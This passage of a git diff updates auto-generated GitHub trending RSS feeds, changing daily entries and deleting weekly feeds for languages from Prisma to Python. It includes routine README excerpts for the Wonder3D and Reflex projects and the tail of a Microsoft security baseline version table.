align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">87</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">88, 89, 90, 91</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">92</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">93, 94</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">95</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">96</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">97</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">98, 99, 100, 101, 102, 103, 104, 105, 106</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">107, 108, 109, 110, 111</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">112, 113</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Microsoft Edge</td> <td align="left">114</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows 10</td> <td align="left">2004</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows 10</td> <td align="left">20H2, 21H1</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows 10</td> <td align="left">21H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows 10 (Machine)</td> <td align="left">22H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows 10 (User)</td> <td align="left">22H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows 11</td> <td align="left">21H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows 11 (Machine)</td> <td align="left">22H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows 11 (User)</td> <td align="left">22H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows Server (DC)</td> <td align="left">2004</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows Server (Member)</td> <td align="left">2004</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows Server (DC)</td> <td align="left">20H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows Server (Member)</td> <td align="left">20H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows Server 2022 (DC)</td> <td align="left">21H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Windows Server 2022 (Member)</td> <td align="left">21H2</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Office 365 ProPlus (Machine)</td> <td align="left">Sept 2019</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security baseline for Office 365 ProPlus (User)</td> <td align="left">Sept 2019</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security Baseline for Microsoft 365 Apps for enterprise (Machine)</td> <td align="left">v2104, v2106</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security Baseline for Microsoft 365 Apps for enterprise (User)</td> <td align="left">v2104, v2106</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security Baseline for Microsoft 365 Apps for enterprise (Machine)</td> <td align="left">v2112</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security Baseline for Microsoft 365 Apps for enterprise (User)</td> <td align="left">v2112</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security Baseline for Microsoft 365 Apps for enterprise (Machine)</td> <td align="left">v2206</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security Baseline for Microsoft 365 Apps for enterprise (User)</td> <td align="left">v2206</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security Baseline for Microsoft 365 Apps for enterprise (Machine)</td> <td align="left">v2306</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Security Baseline for Microsoft 365 Apps for enterprise (User)</td> <td align="left">v2306</td> <td align="left">Final</td> </tr> <tr> <td align="left">Microsoft Windows Server TLS Settings</td> <td align="left">1809</td> <td align="left">1.0</td> </tr> <tr> <td align="left">Microsoft Windows Server TLS Settings (Future Use with TLSv1.3)</td> <td align="left">1903</td> <td align="left">1.0</td> </tr> </tbody> </table> - - \ No newline at end of file diff --git a/prisma/daily/index.xml b/prisma/daily/index.xml index 66058218211..cccf7ed00b7 100644 --- a/prisma/daily/index.xml +++ b/prisma/daily/index.xml @@ -1,7 +1,7 @@ GitHub Prisma Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:33Z + 2023-10-30T01:33:49Z Daily Trending of Prisma in GitHub \ No newline at end of file diff --git a/prisma/weekly/index.xml b/prisma/weekly/index.xml deleted file mode 100644 index 079e94ec44a..00000000000 --- a/prisma/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Prisma Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:34Z - Weekly Trending of Prisma in GitHub - - \ No newline at end of file diff --git a/processing/daily/index.xml b/processing/daily/index.xml index 861b8332be8..7861dafce9a 100644 --- a/processing/daily/index.xml +++ b/processing/daily/index.xml @@ -1,14 +1,14 @@ GitHub Processing Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:34Z + 2023-10-30T01:33:50Z Daily Trending of Processing in GitHub - SableRaf/movelib - 2023-10-29T01:39:34Z - tag:github.com,2023-10-29:/SableRaf/movelib - - <p>A Processing interface for the Move Controller based on the PS Move API.</p><hr> + pierrethr/daily21Obstacles + 2023-10-30T01:33:50Z + tag:github.com,2023-10-30:/pierrethr/daily21Obstacles + + <p>visual processing app, swing data input via OSC and phone input via php</p><hr> \ No newline at end of file diff --git a/processing/weekly/index.xml b/processing/weekly/index.xml deleted file mode 100644 index ffc330d7e87..00000000000 --- a/processing/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Processing Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:33Z - Weekly Trending of Processing in GitHub - - - ajenshireman/ecosystem - 2023-10-29T01:59:33Z - tag:github.com,2023-10-29:/ajenshireman/ecosystem - - <p>Simulated ecosystem. Semester-long project for CSIT 1520 at Pellissippi State</p><hr> - - \ No newline at end of file diff --git a/procfile/daily/index.xml b/procfile/daily/index.xml index 692bf4d2ca1..c560a7b0ff8 100644 --- a/procfile/daily/index.xml +++ b/procfile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Procfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:01Z + 2023-10-30T01:34:00Z Daily Trending of Procfile in GitHub \ No newline at end of file diff --git a/procfile/weekly/index.xml b/procfile/weekly/index.xml deleted file mode 100644 index c27072b3b37..00000000000 --- a/procfile/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Procfile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:46Z - Weekly Trending of Procfile in GitHub - - \ No newline at end of file diff --git a/proguard/daily/index.xml b/proguard/daily/index.xml index e48e7bf004f..82b6dc0e7b2 100644 --- a/proguard/daily/index.xml +++ b/proguard/daily/index.xml @@ -1,7 +1,7 @@ GitHub Proguard Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:58Z + 2023-10-30T01:34:01Z Daily Trending of Proguard in GitHub \ No newline at end of file diff --git a/proguard/weekly/index.xml b/proguard/weekly/index.xml deleted file mode 100644 index 1edaf777e0a..00000000000 --- a/proguard/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Proguard Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:45Z - Weekly Trending of Proguard in GitHub - - \ No newline at end of file diff --git a/prolog/daily/index.xml b/prolog/daily/index.xml index 89c65b90aa7..20fd132638b 100644 --- a/prolog/daily/index.xml +++ b/prolog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Prolog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:00Z + 2023-10-30T01:33:59Z Daily Trending of Prolog in GitHub \ No newline at end of file diff --git a/prolog/weekly/index.xml b/prolog/weekly/index.xml deleted file mode 100644 index 538b6ec736b..00000000000 --- a/prolog/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Prolog Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:47Z - Weekly Trending of Prolog in GitHub - - - fandrade9/leolivre - 2023-10-29T01:59:47Z - tag:github.com,2023-10-29:/fandrade9/leolivre - - <p>Placa desenhada para aplicacoes roboticas baseada no microcontrolador ATMEGA32u4 e Arduino Leonardo.</p><hr> - - - biktorrr/Verrijktkoninkrijk - 2023-10-29T01:59:47Z - tag:github.com,2023-10-29:/biktorrr/Verrijktkoninkrijk - - <p></p><hr> - - \ No newline at end of file diff --git a/promela/daily/index.xml b/promela/daily/index.xml index be95f909951..fb8683d9583 100644 --- a/promela/daily/index.xml +++ b/promela/daily/index.xml @@ -1,7 +1,7 @@ GitHub Promela Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:59Z + 2023-10-30T01:34:01Z Daily Trending of Promela in GitHub \ No newline at end of file diff --git a/promela/weekly/index.xml b/promela/weekly/index.xml deleted file mode 100644 index 09273d4103a..00000000000 --- a/promela/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Promela Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:48Z - Weekly Trending of Promela in GitHub - - \ No newline at end of file diff --git a/propeller-spin/daily/index.xml b/propeller-spin/daily/index.xml index 850b3c9c2c5..b485d6e3c31 100644 --- a/propeller-spin/daily/index.xml +++ b/propeller-spin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Propeller Spin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:03Z + 2023-10-30T01:34:02Z Daily Trending of Propeller Spin in GitHub \ No newline at end of file diff --git a/propeller-spin/weekly/index.xml b/propeller-spin/weekly/index.xml deleted file mode 100644 index e47f05c4df0..00000000000 --- a/propeller-spin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Propeller Spin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:50Z - Weekly Trending of Propeller Spin in GitHub - - \ No newline at end of file diff --git a/protocol-buffer-text-format/daily/index.xml b/protocol-buffer-text-format/daily/index.xml index 6e1b3dc1c70..5b63828680e 100644 --- a/protocol-buffer-text-format/daily/index.xml +++ b/protocol-buffer-text-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Protocol Buffer Text Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:02Z + 2023-10-30T01:34:04Z Daily Trending of Protocol Buffer Text Format in GitHub \ No newline at end of file diff --git a/protocol-buffer-text-format/weekly/index.xml b/protocol-buffer-text-format/weekly/index.xml deleted file mode 100644 index d944b235ebb..00000000000 --- a/protocol-buffer-text-format/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Protocol Buffer Text Format Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:49Z - Weekly Trending of Protocol Buffer Text Format in GitHub - - \ No newline at end of file diff --git a/protocol-buffer/daily/index.xml b/protocol-buffer/daily/index.xml index 7370e74896f..0f55ccaace0 100644 --- a/protocol-buffer/daily/index.xml +++ b/protocol-buffer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Protocol Buffer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:05Z + 2023-10-30T01:34:03Z Daily Trending of Protocol Buffer in GitHub \ No newline at end of file diff --git a/protocol-buffer/weekly/index.xml b/protocol-buffer/weekly/index.xml deleted file mode 100644 index d8671232037..00000000000 --- a/protocol-buffer/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Protocol Buffer Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:51Z - Weekly Trending of Protocol Buffer in GitHub - - \ No newline at end of file diff --git a/public-key/daily/index.xml b/public-key/daily/index.xml index d485ca9618a..331ba5f964a 100644 --- a/public-key/daily/index.xml +++ b/public-key/daily/index.xml @@ -1,7 +1,7 @@ GitHub Public Key Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:04Z + 2023-10-30T01:34:04Z Daily Trending of Public Key in GitHub \ No newline at end of file diff --git a/public-key/weekly/index.xml b/public-key/weekly/index.xml deleted file mode 100644 index 8d84551b6e0..00000000000 --- a/public-key/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Public Key Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:50Z - Weekly Trending of Public Key in GitHub - - \ No newline at end of file diff --git a/pug/daily/index.xml b/pug/daily/index.xml index 91980ac8ebe..918943ccd42 100644 --- a/pug/daily/index.xml +++ b/pug/daily/index.xml @@ -1,14 +1,7 @@ GitHub Pug Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:08Z + 2023-10-30T01:34:06Z Daily Trending of Pug in GitHub - - iliayatsenko/iliayatsenko.github.io - 2023-10-29T01:40:08Z - tag:github.com,2023-10-29:/iliayatsenko/iliayatsenko.github.io - - <p>Sources of personal blog.</p><hr> - \ No newline at end of file diff --git a/pug/weekly/index.xml b/pug/weekly/index.xml deleted file mode 100644 index 25d0c335266..00000000000 --- a/pug/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pug Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:54Z - Weekly Trending of Pug in GitHub - - \ No newline at end of file diff --git a/puppet/daily/index.xml b/puppet/daily/index.xml index a367c8db989..981e6cd5130 100644 --- a/puppet/daily/index.xml +++ b/puppet/daily/index.xml @@ -1,7 +1,14 @@ GitHub Puppet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:10Z + 2023-10-30T01:34:07Z Daily Trending of Puppet in GitHub + + xiaogaozi/vagrant-phabricator + 2023-10-30T01:34:07Z + tag:github.com,2023-10-30:/xiaogaozi/vagrant-phabricator + + <p>Vagrant for Phabricator</p><hr> + \ No newline at end of file diff --git a/puppet/weekly/index.xml b/puppet/weekly/index.xml deleted file mode 100644 index 62409e4c5bd..00000000000 --- a/puppet/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Puppet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:56Z - Weekly Trending of Puppet in GitHub - - \ No newline at end of file diff --git a/pure-data/daily/index.xml b/pure-data/daily/index.xml index 776437cf8cc..82ddb37bed4 100644 --- a/pure-data/daily/index.xml +++ b/pure-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pure Data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:06Z + 2023-10-30T01:34:06Z Daily Trending of Pure Data in GitHub \ No newline at end of file diff --git a/pure-data/weekly/index.xml b/pure-data/weekly/index.xml deleted file mode 100644 index 3dbd097e5a0..00000000000 --- a/pure-data/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pure Data Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:52Z - Weekly Trending of Pure Data in GitHub - - \ No newline at end of file diff --git a/purebasic/daily/index.xml b/purebasic/daily/index.xml index 3a59a640846..9c484a1f285 100644 --- a/purebasic/daily/index.xml +++ b/purebasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub PureBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:07Z + 2023-10-30T01:34:08Z Daily Trending of PureBasic in GitHub \ No newline at end of file diff --git a/purebasic/weekly/index.xml b/purebasic/weekly/index.xml deleted file mode 100644 index 5a7af703948..00000000000 --- a/purebasic/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub PureBasic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:55Z - Weekly Trending of PureBasic in GitHub - - - kubernetes-sigs/kustomize - 2023-10-29T01:59:55Z - tag:github.com,2023-10-29:/kubernetes-sigs/kustomize - - <p>Customization of kubernetes YAML configurations</p><hr> - - \ No newline at end of file diff --git a/purescript/daily/index.xml b/purescript/daily/index.xml index cc002a4af96..dd702aa2d5b 100644 --- a/purescript/daily/index.xml +++ b/purescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PureScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:17Z + 2023-10-30T01:34:14Z Daily Trending of PureScript in GitHub \ No newline at end of file diff --git a/purescript/weekly/index.xml b/purescript/weekly/index.xml deleted file mode 100644 index c001945a7f2..00000000000 --- a/purescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PureScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:58Z - Weekly Trending of PureScript in GitHub - - \ No newline at end of file diff --git a/python-console/daily/index.xml b/python-console/daily/index.xml index f63e08c8fbe..2c5c0ef42c4 100644 --- a/python-console/daily/index.xml +++ b/python-console/daily/index.xml @@ -1,7 +1,7 @@ GitHub Python console Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:12Z + 2023-10-30T01:34:09Z Daily Trending of Python console in GitHub \ No newline at end of file diff --git a/python-console/weekly/index.xml b/python-console/weekly/index.xml deleted file mode 100644 index 8fbc0584695..00000000000 --- a/python-console/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Python console Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:57Z - Weekly Trending of Python console in GitHub - - \ No newline at end of file diff --git a/python-traceback/daily/index.xml b/python-traceback/daily/index.xml index a7b4f76e8b6..a98ab380df6 100644 --- a/python-traceback/daily/index.xml +++ b/python-traceback/daily/index.xml @@ -1,7 +1,7 @@ GitHub Python traceback Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:39Z + 2023-10-30T01:34:34Z Daily Trending of Python traceback in GitHub \ No newline at end of file diff --git a/python-traceback/weekly/index.xml b/python-traceback/weekly/index.xml deleted file mode 100644 index 5c08eb402df..00000000000 --- a/python-traceback/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Python traceback Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:23Z - Weekly Trending of Python traceback in GitHub - - \ No newline at end of file diff --git a/python/daily/index.xml b/python/daily/index.xml index f261de9d079..7c072fefba5 100644 --- a/python/daily/index.xml +++ b/python/daily/index.xml @@ -1,28 +1,28 @@ GitHub Python Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:18Z + 2023-10-30T01:34:14Z Daily Trending of Python in GitHub - xxlong0/Wonder3D - 2023-10-29T01:40:18Z - tag:github.com,2023-10-29:/xxlong0/Wonder3D - - <p>A cross-domain diffusion model for 3D reconstruction from a single image</p><hr><h1>Wonder3D</h1> <p>Single Image to 3D using Cross-Domain Diffusion</p> <h2><a href="https://arxiv.org/abs/2310.15008">Paper</a> | <a href="https://www.xxlong.site/Wonder3D/">Project page</a> | <a href="https://huggingface.co/spaces/flamehaze1115/Wonder3D-demo">Hugging Face Demo</a> | <a href="https://github.com/camenduru/Wonder3D-colab">Colab from @camenduru</a></h2> <p><img src="https://raw.githubusercontent.com/xxlong0/Wonder3D/main/assets/fig_teaser.png" alt=""></p> <p>Wonder3D reconstructs highly-detailed textured meshes from a single-view image in only 2 ∼ 3 minutes. Wonder3D first generates consistent multi-view normal maps with corresponding color images via a cross-domain diffusion model, and then leverages a novel normal fusion method to achieve fast and high-quality reconstruction.</p> <h2>Schedule</h2> <ul> <li><input type="checkbox" checked disabled> Inference code and pretrained models.</li> <li><input type="checkbox" checked disabled> Huggingface demo.</li> <li><input type="checkbox" disabled> New model trained on the whole Objaverse dataset.</li> </ul> <h3>Preparation for inference</h3> <ol> <li>Install packages in <code>requirements.txt</code>.</li> </ol> <pre><code class="language-angular2html">conda create -n wonder3d conda activate wonder3d pip install -r requirements.txt </code></pre> <p>Install tiny-cuda-nn PyTorch extension for mesh extraction: <code>pip install git+https://github.com/NVlabs/tiny-cuda-nn/#subdirectory=bindings/torch</code></p> <ol start="2"> <li>Download the <a href="https://connecthkuhk-my.sharepoint.com/:f:/g/personal/xxlong_connect_hku_hk/EgSHPyJAtaJFpV_BjXM3zXwB-UMIrT4v-sQwGgw-coPtIA">checkpoints</a> and into the root folder.</li> </ol> <h3>Inference</h3> <ol> <li>Make sure you have the following models.</li> </ol> <pre><code class="language-bash">Wonder3D |-- ckpts |-- unet |-- scheduler.bin ... </code></pre> <ol start="2"> <li>Predict foreground mask as the alpha channel. We use <a href="https://clipdrop.co/remove-background">Clipdrop</a> to segment the foreground object interactively. You may also use <code>rembg</code> to remove the backgrounds.</li> </ol> <pre><code class="language-bash"># !pip install rembg import rembg result = rembg.remove(result) result.show() </code></pre> <ol start="3"> <li>Run Wonder3d to produce multiview-consistent normal maps and color images. Then you can check the results in the folder <code>./outputs</code>. (we use rembg to remove backgrounds of the results, but the segmemtations are not always perfect.)</li> </ol> <pre><code class="language-bash">accelerate launch --config_file 1gpu.yaml test_mvdiffusion_seq.py \ --config mvdiffusion-joint-ortho-6views.yaml </code></pre> <p>or</p> <pre><code class="language-bash">bash run_test.sh </code></pre> <ol start="4"> <li>Mesh Extraction</li> </ol> <pre><code class="language-bash">cd ./instant-nsr-pl bash run.sh output_folder_path scene_name </code></pre> <p>Our generated normals and color images are defined in orthographic views, so the reconstructed mesh is also in orthographic camera space. If you use MeshLab to view the meshes, you can click <code>Toggle Orthographic Camera</code> in <code>View</code> tab.</p> <h2>Citation</h2> <p>If you find this repository useful in your project, please cite the following work. :)</p> <pre><code>@misc{long2023wonder3d, title={Wonder3D: Single Image to 3D using Cross-Domain Diffusion}, author={Xiaoxiao Long and Yuan-Chen Guo and Cheng Lin and Yuan Liu and Zhiyang Dou and Lingjie Liu and Yuexin Ma and Song-Hai Zhang and Marc Habermann and Christian Theobalt and Wenping Wang}, year={2023}, eprint={2310.15008}, archivePrefix={arXiv}, primaryClass={cs.CV} } </code></pre> + reflex-dev/reflex + 2023-10-30T01:34:14Z + tag:github.com,2023-10-30:/reflex-dev/reflex + + <p>🕸 Web apps in pure Python 🐍</p><hr><pre><code class="language-diff">+ Searching for Pynecone? You are in the right repo. Pynecone has been renamed to Reflex. + </code></pre> <div align="center"> <img src="https://raw.githubusercontent.com/reflex-dev/reflex/main/docs/images/reflex_dark.svg#gh-light-mode-only" alt="Reflex Logo" width="300px"> <img src="https://raw.githubusercontent.com/reflex-dev/reflex/main/docs/images/reflex_light.svg#gh-dark-mode-only" alt="Reflex Logo" width="300px"> <hr> <h3><strong>✨ Performant, customizable web apps in pure Python. Deploy in seconds. ✨</strong></h3> <p><a href="https://badge.fury.io/py/reflex"><img src="https://badge.fury.io/py/reflex.svg?sanitize=true" alt="PyPI version"></a> <img src="https://github.com/pynecone-io/pynecone/actions/workflows/integration.yml/badge.svg?sanitize=true" alt="tests"> <img src="https://img.shields.io/pypi/pyversions/reflex.svg?sanitize=true" alt="versions"> <a href="https://reflex.dev/docs/getting-started/introduction"><img src="https://img.shields.io/badge/Documentation%20-Introduction%20-%20%23007ec6" alt="Documentation"></a> <a href="https://discord.gg/T5WSbC2YtQ"><img src="https://img.shields.io/discord/1029853095527727165?color=%237289da&amp;label=Discord" alt="Discord"></a></p> </div> <hr> <h2><a href="https://github.com/reflex-dev/reflex/raw/main/README.md">English</a> | <a href="https://github.com/reflex-dev/reflex/raw/main/docs/zh/zh_cn/README.md">简体中文</a> | <a href="https://github.com/reflex-dev/reflex/raw/main/docs/zh/zh_tw/README.md">繁體中文</a> | <a href="https://github.com/reflex-dev/reflex/raw/main/docs/tr/README.md">Türkçe</a> | <a href="https://github.com/reflex-dev/reflex/raw/main/docs/in/README.md">हिंदी</a> | <a href="https://github.com/reflex-dev/reflex/raw/main/docs/pt/pt_br/README.md">Português (Brasil)</a> | <a href="https://github.com/reflex-dev/reflex/raw/main/docs/it/README.md">Italiano</a> | <a href="https://github.com/reflex-dev/reflex/raw/main/docs/kr/README.md">한국어</a></h2> <h2>⚙️ Installation</h2> <p>Open a terminal and run (Requires Python 3.8+):</p> <pre><code class="language-bash">pip install reflex </code></pre> <h2>🥳 Create your first app</h2> <p>Installing <code>reflex</code> also installs the <code>reflex</code> command line tool.</p> <p>Test that the install was successful by creating a new project. (Replace <code>my_app_name</code> with your project name):</p> <pre><code class="language-bash">mkdir my_app_name cd my_app_name reflex init </code></pre> <p>This command initializes a template app in your new directory.</p> <p>You can run this app in development mode:</p> <pre><code class="language-bash">reflex run </code></pre> <p>You should see your app running at <a href="http://localhost:3000">http://localhost:3000</a>.</p> <p>Now you can modify the source code in <code>my_app_name/my_app_name.py</code>. Reflex has fast refreshes so you can see your changes instantly when you save your code.</p> <h2>🫧 Example App</h2> <p>Let's go over an example: creating an image generation UI around DALL·E. For simplicity, we just call the OpenAI API, but you could replace this with an ML model run locally.</p> <p>&nbsp;</p> <div align="center"> <img src="https://raw.githubusercontent.com/reflex-dev/reflex/main/docs/images/dalle.gif" alt="A frontend wrapper for DALL·E, shown in the process of generating an image." width="550"> </div> <p>&nbsp;</p> <p>Here is the complete code to create this. This is all done in one Python file!</p> <pre><code class="language-python">import reflex as rx import openai openai.api_key = "YOUR_API_KEY" class State(rx.State): """The app state.""" prompt = "" image_url = "" processing = False complete = False def get_image(self): """Get the image from the prompt.""" if self.prompt == "": return rx.window_alert("Prompt Empty") self.processing, self.complete = True, False yield response = openai.Image.create(prompt=self.prompt, n=1, size="1024x1024") self.image_url = response["data"][0]["url"] self.processing, self.complete = False, True def index(): return rx.center( rx.vstack( rx.heading("DALL·E"), rx.input(placeholder="Enter a prompt", on_blur=State.set_prompt), rx.button( "Generate Image", on_click=State.get_image, is_loading=State.processing, width="100%", ), rx.cond( State.complete, rx.image( src=State.image_url, height="25em", width="25em", ) ), padding="2em", shadow="lg", border_radius="lg", ), width="100%", height="100vh", ) # Add state and page to the app. app = rx.App() app.add_page(index, title="reflex:DALL·E") app.compile() </code></pre> <h2>Let's break this down.</h2> <h3><strong>Reflex UI</strong></h3> <p>Let's start with the UI.</p> <pre><code class="language-python">def index(): return rx.center( ... ) </code></pre> <p>This <code>index</code> function defines the frontend of the app.</p> <p>We use different components such as <code>center</code>, <code>vstack</code>, <code>input</code>, and <code>button</code> to build the frontend. Components can be nested within each other to create complex layouts. And you can use keyword args to style them with the full power of CSS.</p> <p>Reflex comes with <a href="https://reflex.dev/docs/library">60+ built-in components</a> to help you get started. We are actively adding more components, and it's easy to <a href="https://reflex.dev/docs/advanced-guide/wrapping-react">create your own components</a>.</p> <h3><strong>State</strong></h3> <p>Reflex represents your UI as a function of your state.</p> <pre><code class="language-python">class State(rx.State): """The app state.""" prompt = "" image_url = "" processing = False complete = False </code></pre> <p>The state defines all the variables (called vars) in an app that can change and the functions that change them.</p> <p>Here the state is comprised of a <code>prompt</code> and <code>image_url</code>. There are also the booleans <code>processing</code> and <code>complete</code> to indicate when to show the circular progress and image.</p> <h3><strong>Event Handlers</strong></h3> <pre><code class="language-python">def get_image(self): """Get the image from the prompt.""" if self.prompt == "": return rx.window_alert("Prompt Empty") self.processing, self.complete = True, False yield response = openai.Image.create(prompt=self.prompt, n=1, size="1024x1024") self.image_url = response["data"][0]["url"] self.processing, self.complete = False, True </code></pre> <p>Within the state, we define functions called event handlers that change the state vars. Event handlers are the way that we can modify the state in Reflex. They can be called in response to user actions, such as clicking a button or typing in a text box. These actions are called events.</p> <p>Our DALL·E. app has an event handler, <code>get_image</code> to which get this image from the OpenAI API. Using <code>yield</code> in the middle of an event handler will cause the UI to update. Otherwise the UI will update at the end of the event handler.</p> <h3><strong>Routing</strong></h3> <p>Finally, we define our app.</p> <pre><code class="language-python">app = rx.App() </code></pre> <p>We add a page from the root of the app to the index component. We also add a title that will show up in the page preview/browser tab.</p> <pre><code class="language-python">app.add_page(index, title="DALL-E") app.compile() </code></pre> <p>You can create a multi-page app by adding more pages.</p> <h2>📑 Resources</h2> <div align="center"> <p>📑 <a href="https://reflex.dev/docs/getting-started/introduction">Docs</a> &nbsp; | &nbsp; 🗞️ <a href="https://reflex.dev/blog">Blog</a> &nbsp; | &nbsp; 📱 <a href="https://reflex.dev/docs/library">Component Library</a> &nbsp; | &nbsp; 🖼️ <a href="https://reflex.dev/docs/gallery">Gallery</a> &nbsp; | &nbsp; 🛸 <a href="https://reflex.dev/docs/hosting/deploy">Deployment</a> &nbsp;</p> </div> <h2>✅ Status</h2> <p>Reflex launched in December 2022 with the name Pynecone.</p> <p>As of July 2023, we are in the <strong>Public Beta</strong> stage.</p> <ul> <li><span>✅</span> <strong>Public Alpha</strong>: Anyone can install and use Reflex. There may be issues, but we are working to resolve them actively.</li> <li><span>🔶</span> <strong>Public Beta</strong>: Stable enough for non-enterprise use-cases.</li> 